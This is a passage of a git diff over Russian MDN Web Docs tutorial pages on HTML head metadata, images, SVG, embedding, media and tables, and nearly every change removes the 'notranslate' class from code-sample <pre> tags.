Docs"></pre> +<pre class="brush: html"><meta name="twitter:title" content="MDN Web Docs"></pre> <h2 id="Добавление_иконок">Добавление иконок</h2> @@ -202,13 +202,13 @@ original_slug: Learn/HTML/Введение_в_HTML/The_head_metadata_in_HTML <ol> <li>Сохраните изображение в формате <code>.ico</code> (многие браузеры поддерживают и в более привычных форматах, таких как <code>.gif</code> или <code>.png</code>) в папку со своим документом. Старые браузеры, например, Internet Explorer 6, поддерживают только формат <code>.ico</code></li> <li>Добавьте ссылку на иконку в <code><head></code> документа: - <pre class="brush: html notranslate"><link rel="shortcut icon" href="favicon.ico" type="image/x-icon"></pre> + <pre class="brush: html"><link rel="shortcut icon" href="favicon.ico" type="image/x-icon"></pre> </li> </ol> <p>Для разных устройств можно указывать разные иконки. Например, на главной странице MDN:</p> -<pre class="brush: html notranslate"><!-- Для iPad 3 с Retina-экраном высокого разрешения: --> +<pre class="brush: html"><!-- Для iPad 3 с Retina-экраном высокого разрешения: --> <link rel="apple-touch-icon-precomposed" sizes="144x144" href="https://developer.mozilla.org/static/img/favicon144.png"> <!-- Для iPhone с Retina-экраном высокого разрешения: --> <link rel="apple-touch-icon-precomposed" sizes="114x114" href="https://developer.mozilla.org/static/img/favicon114.png"> @@ -231,12 +231,12 @@ original_slug: Learn/HTML/Введение_в_HTML/The_head_metadata_in_HTML <li> <p>Элемент {{htmlelement("link")}} помещают в заголовок документа. У него есть два атрибута: <code>rel="stylesheet"</code> показывает, что мы указываем <em>стиль</em> документа, а в <code>href</code> указан путь к файлу:</p> - <pre class="brush: html notranslate"><link rel="stylesheet" href="my-css-file.css"></pre> + <pre class="brush: html"><link rel="stylesheet" href="my-css-file.css"></pre> </li> <li> <p>Элемент {{htmlelement("script")}} не обязательно находится в заголовке — на самом деле лучше поместить его в самом конце страницы, прямо перед закрывающем тегом <code></body></code>. Так браузер сначала отобразит саму страницу, а уже затем загрузит и запустит скрипт — иначе скрипт может обратиться к ещё не созданному элементу страницы и сломаться.</p> - <pre class="brush: html notranslate"><script src="my-js-file.js"></script></pre> + <pre class="brush: html"><script src="my-js-file.js"></script></pre> <p><strong>Примечание</strong>: Элемент <code><script></code> кажется пустым, но это не всегда так, и указывать закрывающий тег обязательно. Вместо того чтобы ссылаться на внешний скрипт, код можно писать прямо внутри этого элемента — так можно не тратить время на загрузку отдельного скрипта, но зато не выйдет сослаться на один js-файл с нескольких страниц.</p> </li> @@ -267,16 +267,16 @@ original_slug: Learn/HTML/Введение_в_HTML/The_head_metadata_in_HTML <p>Наконец, стоит отметить, что вы можете (и действительно должны) установить язык для своей страницы. Это можно сделать, добавив <a href="/en-US/docs/Web/HTML/Global_attributes/lang">атрибут lang</a> в открывающий HTML-тег (как в примере <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/meta-example.html">meta-example.html</a>: и как показано ниже):</p> -<pre class="syntaxbox notranslate"><html lang="en-US"></pre> +<pre class="syntaxbox"><html lang="en-US"></pre> -<pre class="syntaxbox notranslate"><html lang="ru"> +<pre class="syntaxbox"><html lang="ru"> </pre> <p>Это полезно во многих случаях. Ваш HTML-документ будет более эффективно индексироваться поисковыми системами, если его язык установлен (что позволяет ему правильно отображаться в языковых результатах), и он полезен людям с нарушением зрения, которые используют программы, читающие страницы вслух (например, слово "шесть" пишется одинаково как на французском, так и на английском языках, но произносится по-разному.).</p> <p>Можно также указать язык для части документа. Например, мы могли бы установить язык для части страницы на японском:</p> -<pre class="brush: html notranslate"><p>Пример на японском: <span lang="jp">ご飯が熱い。</span>.</p></pre> +<pre class="brush: html"><p>Пример на японском: <span lang="jp">ご飯が熱い。</span>.</p></pre> <p>Коды языков определены в стандарте <a href="https://en.wikipedia.org/wiki/ISO_639-1">ISO 639-1</a>. Подробнее о работе с языками можно узнать в <a href="https://www.w3.org/International/articles/language-tags/">Языковые тэги в HTML и XML</a>.</p> diff --git a/files/ru/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html b/files/ru/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html index 985542c426..e21fcef89d 100644 --- a/files/ru/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html +++ b/files/ru/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html @@ -58,7 +58,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Добавление_r_graphi <p>В качестве простого примера, следующий код создаёт круг и прямоугольник:</p> -<pre class="brush: html notranslate"><svg version="1.1" +<pre class="brush: html"><svg version="1.1" baseProfile="full" width="300" height="200" xmlns="http://www.w3.org/2000/svg"> @@ -101,7 +101,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Добавление_r_graphi <p>Чтобы встроить SVG используя элемент {{htmlelement ("img")}}, вам просто нужно сослаться на него в атрибуте src, как и следовало ожидать. Вам понадобится атрибут <code>height</code> или <code>width</code> (или оба, если ваш SVG не имеет собственного соотношения сторон). Если вы ещё этого не делали, пожалуйста, прочтите <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Изображения в HTML</a>.</p> -<pre class="brush: html notranslate"><img +<pre class="brush: html"><img src="equilateral.svg" alt="triangle with all three sides equal" height="87px" @@ -126,11 +126,11 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Добавление_r_graphi <p>Для браузеров которые не поддерживают SVG (IE 8 и ниже, Android 2.3 и ниже), вы можете ссылаться на PNG или JPG в <code>src</code> атрибуте и использовать {{htmlattrxref("srcset", "img")}} атрибут (который распознают только последние браузеры) чтобы сослаться на SVG. В этом случае <span class="tlid-translation translation" lang="ru"><span title="">SVG будут загружаться только поддерживающими браузерами - старые же браузеры будут загружать PNG:</span></span></p> -<pre class="brush: html notranslate"><img src="equilateral.png" alt="triangle with equal sides" srcset="equilateral.svg"></pre> +<pre class="brush: html"><img src="equilateral.png" alt="triangle with equal sides" srcset="equilateral.svg"></pre> <p>Также вы можете использовать SVG в качестве фоновых изображение CSS, как показано ниже. В приведённом коде ниже старые браузеры будут придерживаться PNG, который они понимают, тогда как новые браузеры будут загружать SVG:</p> -<pre class="brush: css notranslate"><code>background: url("fallback.png") no-repeat center;</code> +<pre class="brush: css"><code>background: url("fallback.png") no-repeat center;</code> background<code>-image: url("image.svg"); background-size: contain;</code></pre> @@ -142,7 +142,7 @@ background-size: contain;</code></pre> <p>Вы можете открыть файл SVG в текстовом редакторе, скопировать этот код и вставить его в ваш HTML документ — такой приём иногда называют встраиванием SVG (<strong>SVG inline</strong> или <strong>inlining SVG</strong>). Убедитесь, что фрагмент вашего SVG кода начинается и заканчивается с тегов <code><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/svg"><svg></svg></a></code> (не включайте ничего, кроме них). Вот очень простой пример того, что вы можете вставить в ваш документ:</p> -<pre class="brush: html notranslate"><svg width="300" height="200"> +<pre class="brush: html"><svg width="300" height="200"> <rect width="100%" height="100%" fill="green" /> </svg> </pre> @@ -174,7 +174,7 @@ background-size: contain;</code></pre> <p>Вот краткий обзор:</p> -<pre class="brush: html notranslate"><iframe src="triangle.svg" width="500" height="500" sandbox> +<pre class="brush: html"><iframe src="triangle.svg" width="500" height="500" sandbox> <img src="triangle.png" alt="Triangle with three unequal sides" /> </iframe></pre> @@ -196,7 +196,7 @@ background-size: contain;</code></pre> <div class="hidden"> <h6 id="Playable_code">Playable code</h6> -<pre class="brush: html notranslate"><h2>Live output</h2> +<pre class="brush: html"><h2>Live output</h2> <div class="output" style="min-height: 50px;"> </div> @@ -221,7 +221,7 @@ background-size: contain;</code></pre> <input id="solution" type="button" value="Show solution" disabled> </div></pre> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-family: sans-serif; } @@ -241,7 +241,7 @@ body { background: #f5f9fa; }</pre> -<pre class="brush: js notranslate">var textarea = document.getElementById('code'); +<pre class="brush: js">var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); diff --git a/files/ru/learn/html/multimedia_and_embedding/images_in_html/index.html b/files/ru/learn/html/multimedia_and_embedding/images_in_html/index.html index 8621a782a0..3523163ad5 100644 --- a/files/ru/learn/html/multimedia_and_embedding/images_in_html/index.html +++ b/files/ru/learn/html/multimedia_and_embedding/images_in_html/index.html @@ -33,11 +33,11 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Изображения_в_HTM <p>Например, если ваше изображение называется <code>dinosaur.jpg</code>, и оно находится в той же директории что и ваша HTML страница, вы можете встроить это изображение как:</p> -<pre class="brush: html notranslate"><img src="dinosaur.jpg"></pre> +<pre class="brush: html"><img src="dinosaur.jpg"></pre> <p>Если изображение было в поддиректории <code>images</code> , находящаяся внутри той же директории, что и HTML страница (что рекомендует Google для индексации и целей SEO), тогда вы можете встроить его так:</p> -<pre class="brush: html notranslate"><img src="images/dinosaur.jpg"></pre> +<pre class="brush: html"><img src="images/dinosaur.jpg"></pre> <p>И так далее.</p> @@ -47,7 +47,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Изображения_в_HTM <p>Вы можете встроить изображение используя абсолютный URL, например:</p> -<pre class="brush: html notranslate"><img src="https://www.example.com/images/dinosaur.jpg"></pre> +<pre class="brush: html"><img src="https://www.example.com/images/dinosaur.jpg"></pre> <p>Но это бессмысленно, так как он просто заставляет браузер делать больше работы, запрашивая каждый раз IP-адрес от DNS-сервера. Вы почти всегда будете держать свои изображения для сайта на том же сервере, что и ваш HTML.</p> @@ -79,7 +79,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Изображения_в_HTM <p>Следующий атрибут, который мы рассмотрим — <code>alt</code>. Его значением должно быть текстовое описание изображения для использования в ситуациях, когда изображение не может быть просмотрено / отображено или отрисовка занимает много времени из-за медленного интернет-соединения. Чтобы продемонстрировать использование атрибута <code>alt</code> на практике, внесём изменения в код из предыдущего примера:</p> -<pre class="notranslate"><img src="images/dinosaur.jpg" +<pre><img src="images/dinosaur.jpg" alt="Голова и туловище скелета динозавра; у него большая голова с длинными острыми зубами"></pre> @@ -114,7 +114,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Изображения_в_HTM <p>Вы можете использовать атрибуты <code>width</code> и <code>height</code>, чтобы указать ширину и высоту вашего изображения. Ширину и высоту вашего изображение можете найти различными способами. Например, на Mac можно использовать <kbd>Cmd</kbd> + <kbd>I</kbd> чтобы получить информацию по изображению. Повторяя наш пример, мы можем сделать так:</p> -<pre class="brush: html notranslate"><img src="images/dinosaur.jpg" +<pre class="brush: html"><img src="images/dinosaur.jpg" alt="The head and torso of a dinosaur skeleton; it has a large head with long sharp teeth" width="400" @@ -136,7 +136,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Изображения_в_HTM <p>Как и для <a href="/ru/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">ссылок</a>, вы также можете добавить атрибут <code>title</code> для изображений, чтобы при необходимости предоставить дополнительную информацию. В нашем примере мы могли бы сделать это так:</p> -<pre class="brush: html notranslate"><img src="images/dinosaur.jpg" +<pre class="brush: html"><img src="images/dinosaur.jpg" alt="The head and torso of a dinosaur skeleton; it has a large head with long sharp teeth" width="400" @@ -170,7 +170,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Изображения_в_HTM <div class="hidden"> <h6 id="Playable_code">Playable code</h6> -<pre class="brush: html notranslate"><h2>Input</h2> +<pre class="brush: html"><h2>Input</h2> <textarea id="code" class="input"> <img></textarea> <h2>Output</h2> @@ -181,7 +181,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Изображения_в_HTM </div> </pre> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { font-family: 'Open Sans Light',Helvetica,Arial,sans-serif; } @@ -198,7 +198,7 @@ button { } </pre> -<pre class="brush: js notranslate">var textarea = document.getElementById("code"); +<pre class="brush: js">var textarea = document.getElementById("code"); var reset = document.getElementById("reset"); var code = textarea.value; var output = document.querySelector(".output"); @@ -229,7 +229,7 @@ window.addEventListener("load", drawOutput); <p>Начиная разговор о заголовках, есть множество путей как вы можете добавить заголовок к своему изображению. Для примера, нет ничего, что может вас остановить сделать это таким образом:</p> -<pre class="brush: html notranslate"><div class="figure"> +<pre class="brush: html"><div class="figure"> <img src="images/dinosaur.jpg" alt="The head and torso of a dinosaur skeleton; it has a large head with long sharp teeth" @@ -243,7 +243,7 @@ window.addEventListener("load", drawOutput); <p>Лучшим решением будет использование элементов HTML5 {{htmlelement("figure")}} и {{htmlelement("figcaption")}}. Они были созданы исключительно для этой цели: предоставить семантический контейнер для рисунков и чётко связать рисунок с заголовком. Наш пример выше мог бы быть переписан так:</p> -<pre class="notranslate"><figure> +<pre><figure> <img src="images/dinosaur.jpg" alt="The head and torso of a dinosaur skeleton; it has a large head with long sharp teeth" @@ -283,7 +283,7 @@ window.addEventListener("load", drawOutput); <div class="hidden"> <h6 id="Playable_code_2">Playable code 2</h6> -<pre class="brush: html notranslate"><h2>Input</h2> +<pre class="brush: html"><h2>Input</h2> <textarea id="code" class="input"> </textarea> <h2>Output</h2> @@ -294,7 +294,7 @@ window.addEventListener("load", drawOutput); </div> </pre> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { font-family: 'Open Sans Light',Helvetica,Arial,sans-serif; } @@ -311,7 +311,7 @@ button { } </pre> -<pre class="brush: js notranslate">var textarea = document.getElementById("code"); +<pre class="brush: js">var textarea = document.getElementById("code"); var reset = document.getElementById("reset"); var code = textarea.value; var output = document.querySelector(".output"); @@ -342,7 +342,7 @@ window.addEventListener("load", drawOutput); <p>Вы можете использовать CSS для встраивания изображений в веб-страницы (или JavaScript, но это совсем другая история). Параметры CSS {{cssxref("background-image")}} и другие <code>background-*</code> применяются для контроля размещения фонового изображения. К примеру, чтобы залить фон каждого параграфа страницы, необходимо сделать следующее:</p> -<pre class="brush: css notranslate">p { +<pre class="brush: css">p { background-image: url("images/dinosaur.jpg"); }</pre> diff --git a/files/ru/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html b/files/ru/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html index 60f7bb93db..1402482a88 100644 --- a/files/ru/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html +++ b/files/ru/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html @@ -58,7 +58,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies <div class="hidden"> <h6 id="Playable_code">Playable code</h6> -<pre class="brush: html notranslate"><h2>Live output</h2> +<pre class="brush: html"><h2>Live output</h2> <div class="output" style="min-height: 250px;"> </div> @@ -74,7 +74,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies <input id="solution" type="button" value="Show solution"> </div></pre> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-family: sans-serif; } @@ -94,7 +94,7 @@ body { background: #f5f9fa; }</pre> -<pre class="brush: js notranslate">var textarea = document.getElementById('code'); +<pre class="brush: js">var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); @@ -181,7 +181,7 @@ textarea.onkeyup = function(){ <p>Есть несколько серьёзных {{anch("Проблемы безопасности", "Проблем безопасности")}} при использовании <iframe>, которые мы обсудим ниже, но это не значит, что вы не должны использовать их на своих сайтах - они просто требуют некоторых знаний и тщательного обдумывания. Давайте рассмотрим код немного подробнее. Скажем, вы хотите добавить глоссарий MDN на одну из своих веб-страниц. Вы можете попробовать что-то вроде этого:</p> -<pre class="notranslate"><iframe src="https://developer.mozilla.org/en-US/docs/Glossary" +<pre><iframe src="https://developer.mozilla.org/en-US/docs/Glossary" width="100%" height="500" frameborder="0" allowfullscreen sandbox> <p> <a href="https://developer.mozilla.org/en-US/docs/Glossary"> @@ -324,7 +324,7 @@ textarea.onkeyup = function(){ <p>Ниже представлен пример использования элемента {{htmlelement("embed")}} для вставки Flash-фильма (загляните на <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/other-embedding-technologies/embed-flash.html">live on Github</a>, а также на <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/other-embedding-technologies/embed-flash.html">check the source code</a>):</p> -<pre class="brush: html notranslate"><embed src="whoosh.swf" quality="medium" +<pre class="brush: html"><embed src="whoosh.swf" quality="medium" bgcolor="#ffffff" width="550" height="400" name="whoosh" align="middle" allowScriptAccess="sameDomain" allowFullScreen="false" type="application/x-shockwave-flash" @@ -334,7 +334,7 @@ textarea.onkeyup = function(){ <p>Давайте взглянем на пример <code><object></code> , встраивающего PDF в страницу (взгляните <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/other-embedding-technologies/object-pdf.html">live example</a> и <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/other-embedding-technologies/object-pdf.html">source code</a>):</p> -<pre class="brush: html notranslate"><object data="mypdf.pdf" type="application/pdf" +<pre class="brush: html"><object data="mypdf.pdf" type="application/pdf" width="800" height="1200" typemustmatch> <p>You don't have a PDF plugin, but you can <a href="mypdf.pdf">download the PDF file.</a></p> </object></pre> diff --git a/files/ru/learn/html/multimedia_and_embedding/responsive_images/index.html b/files/ru/learn/html/multimedia_and_embedding/responsive_images/index.html index 7dfa8a7070..474f317658 100644 --- a/files/ru/learn/html/multimedia_and_embedding/responsive_images/index.html +++ b/files/ru/learn/html/multimedia_and_embedding/responsive_images/index.html @@ -64,11 +64,11 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images <p>Итак, какую проблему решают разные разрешения? В зависимости от устройства нужно отобразить одно и то же изображение, но разных размеров. Посмотрите на вторую картинку в примере. Стандартный элемент {{htmlelement("img")}} обычно позволяет указать только один путь к файлу:</p> -<pre class="brush: html notranslate"><img src="elva-fairy-800w.jpg" alt="Elva dressed as a fairy"></pre> +<pre class="brush: html"><img src="elva-fairy-800w.jpg" alt="Elva dressed as a fairy"></pre> <p>Однако есть два новых атрибута — {{htmlattrxref("srcset", "img")}} and {{htmlattrxref("sizes", "img")}} — позволяющих добавить дополнительные изображения с пометками, чтобы браузер выбрал подходящее. Пример на Github: <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/responsive.html">responsive.html</a> (также смотри <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/responsive.html">источник кода</a>).</p> -<pre class="brush: html notranslate"><img srcset="elva-fairy-320w.jpg 320w, +<pre class="brush: html"><img srcset="elva-fairy-320w.jpg 320w, elva-fairy-480w.jpg 480w, elva-fairy-800w.jpg 800w" sizes="(max-width: 320px) 280px, @@ -131,7 +131,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images <p>Если вы поддерживаете несколько разрешений экрана, но все видят ваше изображение в одном и том же размере на экране, вы можете позволить браузеру выбирать изображение с подходящим разрешением используя <code>srcset</code> с x-дескриптором и без <code>sizes</code> — более простой синтаксис! Найти пример как это выглядит можно здесь <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/srcset-resolutions.html">srcset-resolutions.html</a> (смотрите также <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/srcset-resolutions.html">the source code</a>):</p> -<pre class="brush: html notranslate"><img srcset="elva-fairy-320w.jpg, +<pre class="brush: html"><img srcset="elva-fairy-320w.jpg, elva-fairy-480w.jpg 1.5x, elva-fairy-640w.jpg 2x" src="elva-fairy-640w.jpg" alt="Elva dressed as a fairy"> @@ -139,7 +139,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images <p><img alt="A picture of a little girl dressed up as a fairy, with an old camera film effect applied to the image" src="https://mdn.mozillademos.org/files/12942/resolution-example.png" style="display: block; height: 425px; margin: 0px auto; width: 480px;">В данном примере, к изображению применяется CSS таким образом, что оно имеет ширину в 320 пикселей на экране (также называемое CSS-пикселями):</p> -<pre class="brush: css notranslate">img { +<pre class="brush: css">img { width: 320px; }</pre> @@ -151,11 +151,11 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images <p>Возвращаясь к нашему оригинальному примеру <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/not-responsive.html">not-responsive.html</a>, мы имеем изображение которое очень нуждается в художественном оформлении:</p> -<pre class="brush: html notranslate"><img src="elva-800w.jpg" alt="Chris standing up holding his daughter Elva"></pre> +<pre class="brush: html"><img src="elva-800w.jpg" alt="Chris standing up holding his daughter Elva"></pre> <p>Давайте исправим это при помощи элемента {{htmlelement("picture")}}! Так же как <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content"><code><video></code> и <code><audio></code></a>, элемент <code><picture></code> это обёртка содержащая некоторое количество элементов {{htmlelement("source")}} которые предоставляют браузеру выбор нескольких разных источников, в сопровождении крайне важного элемента {{htmlelement("img")}}. Код <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/responsive.html">responsive.html</a> выглядит так:</p> -<pre class="brush: html notranslate"><picture> +<pre class="brush: html"><picture> <source media="(max-width: 799px)" srcset="elva-480w-close-portrait.jpg"> <source media="(min-width: 800px)" srcset="elva-800w.jpg"> <img src="elva-800w.jpg" alt="Chris standing up holding his daughter Elva"> @@ -189,7 +189,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images <p><code><picture></code> позволяет нам использовать их в старых браузерах. Вы можете прописать MIME-тип внутри атрибута <code>type</code>, браузер сразу определит файлы такого типа как неподдерживаемые:</p> -<pre class="brush: html notranslate"><picture> +<pre class="brush: html"><picture> <source type="image/svg+xml" srcset="pyramid.svg"> <source type="image/webp" srcset="pyramid.webp"> <img src="pyramid.png" alt="regular pyramid built from four equilateral triangles"> diff --git a/files/ru/learn/html/multimedia_and_embedding/video_and_audio_content/index.html b/files/ru/learn/html/multimedia_and_embedding/video_and_audio_content/index.html index 4176f00fcc..971324fad9 100644 --- a/files/ru/learn/html/multimedia_and_embedding/video_and_audio_content/index.html +++ b/files/ru/learn/html/multimedia_and_embedding/video_and_audio_content/index.html @@ -38,7 +38,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content <p>Элемент {{htmlelement("video")}} позволяет вам вставлять видео достаточно легко. Очень простой пример выглядит так:</p> -<pre class="brush: html notranslate"><video src="rabbit320.webm" controls> +<pre class="brush: html"><video src="rabbit320.webm" controls> <p>Ваш браузер не поддерживает HTML5 видео. Используйте <a href="rabbit320.webm">ссылку на видео</a> для доступа.</p> </video></pre> @@ -97,7 +97,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content <p>Так как мы это сделаем? Взгляните на следующий <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html">обновлённый пример</a> (и попробуйте <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html">живой пример</a>):</p> -<pre class="brush: html notranslate"><video controls> +<pre class="brush: html"><video controls> <source src="rabbit320.mp4" type="video/mp4"> <source src="rabbit320.webm" type="video/webm"> <p>Ваш браузер не поддерживает HTML5 видео. Вот <a href="rabbit320.mp4">ссылка на видео</a> взамен.</p> @@ -115,7 +115,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content <p>Есть ряд других параметры, которые вы можете включить в HTML5 элемент <code>video</code>. Взгляните на наш третий пример:</p> -<pre class="brush: html notranslate"><video controls width="400" height="400" +<pre class="brush: html"><video controls width="400" height="400" autoplay loop muted poster="poster.png"> <source src="rabbit320.mp4" type="video/mp4"> @@ -157,7 +157,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content <p>Элемент {{htmlelement ("audio")}} работает точно так же, как элемент {{htmlelement ("video")}}, с несколькими небольшими отличиями, которые описаны ниже. Типичный пример может выглядеть так:</p> -<pre class="brush: html notranslate"><audio controls> +<pre class="brush: html"><audio controls> <source src="viper.mp3" type="audio/mp3"> <source src="viper.ogg" type="audio/ogg"> <p>Your browser doesn't support HTML5 audio. Here is a <a href="viper.mp3">link to the audio</a> instead.</p> @@ -209,7 +209,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content <p>Типичный файл WebVTT будет выглядеть примерно так:</p> -<pre class="eval line-numbers language-html notranslate"><code class="language-html">WEBVTT +<pre class="eval line-numbers language-html"><code class="language-html">WEBVTT 1 00:00:22.230 --> 00:00:24.606 @@ -231,7 +231,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content <p>Вот пример:</p> -<pre class="brush: html notranslate"><video controls> +<pre class="brush: html"><video controls> <source src="example.mp4" type="video/mp4"> <source src="example.webm" type="video/webm"> <track kind="subtitles" src="subtitles_en.vtt" srclang="en"> diff --git a/files/ru/learn/html/tables/advanced/index.html b/files/ru/learn/html/tables/advanced/index.html index fbfdfa13d9..388c093001 100644 --- a/files/ru/learn/html/tables/advanced/index.html +++ b/files/ru/learn/html/tables/advanced/index.html @@ -26,7 +26,7 @@ translation_of: Learn/HTML/Tables/Advanced <p>Вы можете добавить заголовок для таблицы установив его в элементе {{htmlelement("caption")}} и этот элемент необходимо поместить внутрь элемента {{htmlelement("table")}}. Причём вам нужно поместить его сразу после открытия тега <code><table></code>.</p> -<pre class="brush: html notranslate"><table> +<pre class="brush: html"><table> <caption>Dinosaurs in the Jurassic period</caption> ... @@ -83,7 +83,7 @@ translation_of: Learn/HTML/Tables/Advanced <li>Сохраните, перезагрузите и вы увидите, что добавление элемента <code><tfoot></code> привело к тому, что строка "SUM" опустилась к нижней части таблицы.</li> <li>Далее, добавьте атрибут {{htmlattrxref("colspan","td")}}, чтобы ячейка "SUM" занимала первые четыре столбца, таким образом числовое значение "Cost" появится в последнем столбце.</li> <li>Давайте добавим несколько простых дополнительных стилей к таблице, чтобы дать вам представление насколько эти элементы полезны при использовании CSS. Внутри в <code><head></code> вашего HTML документа вы увидите пустой элемент {{htmlelement("style")}}. Внутри этого элемента добавьте следующие строки CSS кода: - <pre class="brush: css notranslate">tbody { + <pre class="brush: css">tbody { font-size: 90%; font-style: italic; } @@ -105,7 +105,7 @@ tfoot { <div class="hidden"> <h6 id="Hidden_example">Hidden example</h6> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> <meta charset="utf-8"> @@ -224,7 +224,7 @@ tfoot { <p>Разметка простой вложенной таблицы:</p> -<pre class="brush: html notranslate"><table id="table1"> +<pre class="brush: html"><table id="table1"> <tr> <th>title1</th> <th>title2</th> @@ -363,7 +363,7 @@ tfoot { <p>Новая тема в этой статье это атрибут {{htmlattrxref("scope","th")}}, который может быть добавлен к элементу <code><th></code> он сообщает скринридеру какие ячейки точно являются заголовками — например, заголовок строки в которой он находится или столбца. Возвращаясь назад к нашему примеру с записями расходов, вы могли однозначно определить заголовки столбцов как здесь:</p> -<pre class="brush: html notranslate"><thead> +<pre class="brush: html"><thead> <tr> <th scope="col">Purchase</th> <th scope="col">Location</th> @@ -375,7 +375,7 @@ tfoot { <p>И у каждой строки может быть определён заголовок, как здесь (если мы добавили заголовки строк и заголовки столбцов):</p> -<pre class="brush: html notranslate"><tr> +<pre class="brush: html"><tr> <th scope="row">Haircut</th> <td>Hairdresser</td> <td>12/09</td> @@ -400,7 +400,7 @@ tfoot { <p>Вернёмся к нашему примеру с расчётом затрат, его можно переписать следующим образом:</p> -<pre class="brush: html notranslate"><thead> +<pre class="brush: html"><thead> <tr> <th id="purchase">Purchase</th> <th id="location">Location</th> diff --git a/files/ru/learn/html/tables/basics/index.html b/files/ru/learn/html/tables/basics/index.html index bd9b5f4fb4..282ccd6039 100644 --- a/files/ru/learn/html/tables/basics/index.html +++ b/files/ru/learn/html/tables/basics/index.html @@ -128,10 +128,10 @@ translation_of: Learn/HTML/Tables/Basics <li>Прежде всего, создайте локальную копию <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/blank-template.html">blank-template.html</a> и <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">minimal-table.css</a> в новой папке на вашем компьютере.</li> <li>Содержимое любой таблицы заключается между двумя тегами : <strong><code><a href="/en-US/docs/Web/HTML/Element/table"><table></table></a></code></strong>. Добавьте их в тело HTML.</li> <li>Самым маленьким контейнером в таблице является ячейка, она создаётся элементом <strong><code><a href="/en-US/docs/Web/HTML/Element/td"><td></a></code></strong> ('td' - сокращение от 'table data'). Введите внутри тегов table следующее: - <pre class="brush: html notranslate"><td>Hi, I'm your first cell.</td></pre> + <pre class="brush: html"><td>Hi, I'm your first cell.</td></pre> </li> <li>Чтобы получить строку из четырёх ячеек, необходимо скопировать эти теги три раза. Обновите содержимое таблицы так, чтобы она выглядела следующим образом: - <pre class="brush: html notranslate"><td>Hi, I'm your first cell.</td> + <pre class="brush: html"><td>Hi, I'm your first cell.</td> <td>I'm your second cell.</td> <td>I'm your third cell.</td> <td>I'm your fourth cell.</td></pre> @@ -145,7 +145,7 @@ translation_of: Learn/HTML/Tables/Basics <ol> <li>Поместите четыре уже созданных ячейки между тегами <code><tr></code> как здесь показано: - <pre class="brush: html notranslate"><tr> + <pre class="brush: html"><tr> <td>Hi, I'm your first cell.</td> <td>I'm your second cell.</td> <td>I'm your third cell.</td> @@ -182,7 +182,7 @@ translation_of: Learn/HTML/Tables/Basics <p>Теперь обратимся к табличным заголовкам — особым ячейкам, которые идут вначале строки или столбца и определяют тип данных, которые содержит данная строка или столбец (как "Person" и "Age" в первом примере данной статьи). Чтобы показать, для чего они нужны, возьмём следующий пример. Сначала исходный код:</p> -<pre class="brush: html notranslate"><table> +<pre class="brush: html"><table> <tr> <td>&nbsp;</td> <td>Knocky</td> @@ -294,7 +294,7 @@ translation_of: Learn/HTML/Tables/Basics <p>Исходная разметка 